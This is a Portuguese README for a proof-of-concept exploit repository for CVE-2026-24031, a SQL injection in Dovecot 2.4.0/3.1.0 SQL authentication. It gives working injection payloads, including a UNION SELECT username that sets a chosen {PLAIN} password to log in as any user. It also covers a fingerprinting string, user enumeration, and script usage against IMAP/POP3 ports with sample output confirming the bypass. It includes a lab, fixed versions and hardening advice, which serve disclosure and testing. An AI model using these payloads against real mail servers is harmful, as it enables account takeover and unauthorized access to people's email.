
PoC Python autocontido para bypass de autenticação SQL do Dovecot: faz login como qualquer usuário sem a senha real e enumera nomes de usuário em servidores IMAP/POP3 2.4.0/3.1.0 vulneráveis.
Este repositório contém um exploit de prova de conceito para bypass de autenticação da CVE-2026-24031, uma injeção de SQL na autenticação baseada em SQL do Dovecot introduzida como uma regressão no Dovecot 2.4.0 / 3.1.0. No laboratório Docker testado (Dovecot 2.4.0 + PostgreSQL), o PoC faz login como qualquer usuário sem saber a senha real e também pode enumerar usuários.
Aviso
Este PoC executa um bypass de autenticação não autenticado contra um servidor de e-mail. Use-o apenas em um laboratório seu ou contra alvos que você esteja explicitamente autorizado a testar. Ele não modifica o estado do servidor, mas exercitará a autenticação e poderá deixar entradas de logins com falha nos logs.
A autenticação baseada em SQL do Dovecot fica vulnerável quando o
administrador limpa a diretiva de configuração auth_username_chars (define-a
com um valor vazio). Normalmente, auth_username_chars atua como um filtro de
entrada que restringe quais caracteres são permitidos em um nome de usuário
antes de o nome de usuário ser interpolado na consulta SQL do passdb.
Com auth_username_chars = vazio, o valor é passado para a consulta
sem sql_escape_string(). Um nome de usuário criado contendo
metacaracteres SQL torna-se, portanto, parte da consulta:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
O payload a seguir faz a consulta retornar uma linha para VICTIM com uma
senha escolhida pelo atacante:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} é interpretado pelo Dovecot (não pelo banco de dados), portanto o
esquema de senha é tratado nativamente e o truque funciona em pgsql, mysql,
mariadb e sqlite. Enviar 12345 como senha então corresponde, resultando em
LOGIN OK como VICTIM sem saber a senha real.
A consulta resultante é:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
Esta é uma regressão introduzida no Dovecot 2.4.0 e também presente no 3.1.0. As versões anteriores 2.2.x / 2.3.x escapam o nome de usuário e não são vulneráveis. A falha é corrigida nas versões 2.4.3 e 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
A vulnerabilidade só se aplica quando todas estas condições forem atendidas:
driver = sql) usando pgsql, mysql, mariadb ou sqlite;auth_username_chars = (vazio) — a condição de gatilho definida pelo
administrador;O PoC foi validado contra o Dovecot 2.4.0 (tag de lançamento oficial,
daeb6bc5) + PostgreSQL.
Autentique-se com o nome de usuário ' OR '1'='1' -- e uma senha
arbitrária. Em um servidor vulnerável, a consulta é alterada, então o Dovecot
retorna a1 NO [UNAVAILABLE] Temporary authentication failure. em vez do
clássico AUTHENTICATIONFAILED. Essa é a impressão digital de que o nome de
usuário chegou à consulta SQL sem escape.
Autentique-se com o nome de usuário:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
e a senha 12345. A linha UNION substitui a coluna password para
VICTIM, e {PLAIN} é interpretado pelo Dovecot, então a verificação de
senha é bem-sucedida.
Como o formato do resultado da consulta difere entre "usuário existe" e "usuário não existe" (contagem de linhas e status da resposta), o servidor vaza se um nome de usuário existe. Isso funciona contra todos os backends afetados.
O PoC é um script Python 3 autocontido (somente biblioteca padrão). Inicie o laboratório vulnerável e execute o exploit:
./run.sh
run.sh compila e inicia o laboratório Docker (lab/docker-compose.yml),
aguarda o IMAPS em 127.0.0.1:14193, e então executa o PoC. O laboratório
compila o Dovecot 2.4.0 a partir do tarball de lançamento oficial com uma
configuração intencionalmente vulnerável e um banco de dados PostgreSQL.
Etapas manuais equivalentes:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
Opções do PoC:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
O banco de dados do laboratório é inicializado com estes usuários:
admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass e
victim/supersecret. O PoC se passa por admin sem saber a senha.
O PoC foi validado de ponta a ponta no laboratório Docker. A senha real do
usuário admin é admin123; o PoC faz login como admin usando 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
A transcrição completa sanitizada, incluindo as etapas de controle legítimo e
de detecção de não escape, está em
docs/example-output.txt.
A demonstração animada no topo deste README (assets/CVE-2026-24031.gif) foi
gravada a partir de uma sessão real contra o laboratório em execução. Recrie-a com:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh conduz a demonstração ao vivo; demo.cast é a gravação bruta do
asciinema usada para renderizar o GIF.
O advisory (OXDC-ADV-2026-0001, DOV-8781) já foi lançado upstream;
Dovecot 2.4.3 / 3.1.4 escapam o nome de usuário antes de interpolá-lo na
consulta SQL. Portanto, a correção não é duplicada neste repositório. A
recomendação de hardening é nunca limpar auth_username_chars, ou atualizar
para uma versão corrigida.
Descoberta da vulnerabilidade: whisperer@yeswehack.
Pesquisa e implementação do exploit: A. Ramos <[email protected]>
(Twitter: @aramosf).
PoC do bypass de autenticação SQL do Dovecot CVE-2026-24031 (bypass de autenticação + enumeração de usuários)
| Versão | Status |
|---|
| Dovecot 2.2.x | Não afetado (o nome de usuário é escapado) |
| Dovecot 2.3.x | Não afetado (o nome de usuário é escapado) |
| Dovecot 2.4.0 | Vulnerável (regressão: nome de usuário não escapado) |
| Dovecot 2.4.3+ | Corrigido (o nome de usuário é escapado) |
| Dovecot 3.1.0 | Vulnerável (mesma regressão) |
| Dovecot 3.1.4+ | Corrigido (o nome de usuário é escapado) |